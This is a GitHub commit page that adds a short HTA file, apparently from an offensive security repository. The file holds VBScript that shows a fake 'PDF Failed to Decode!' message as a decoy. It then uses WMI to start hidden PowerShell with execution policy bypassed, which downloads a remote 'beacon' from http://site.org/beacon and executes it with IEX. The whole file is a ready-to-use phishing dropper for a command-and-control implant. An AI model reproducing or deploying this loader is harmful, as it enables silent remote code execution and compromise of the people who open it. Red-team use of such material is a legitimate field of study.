Skip to content

Commit 1b4f8a7

Browse files
enigma0x3enigma0x3
authored
Create vbscript-wmi.hta
1 parent 4b835cb commit 1b4f8a7

File tree

1 file changed

+8
-0
lines changed

1 file changed

+8
-0
lines changed

‎vbscript-wmi.hta‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
<script language="VBScript">
2+
Msgbox "Client name (PDF Failed to Decode!)"
3+
Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
4+
Set objServices = objSWbemLocator.ConnectServer(".", "\root\cimv2")
5+
set objProcess = objServices.Get("Win32_Process")
6+
objProcess.Create("powershell.exe -exec bypass -w hidden -command $wc = New-Object System.Net.Webclient; $wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); $wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX ($wc.downloadstring('http://site.org/beacon'))")
7+
self.close
8+
</script>

0 commit comments

Comments
 (0)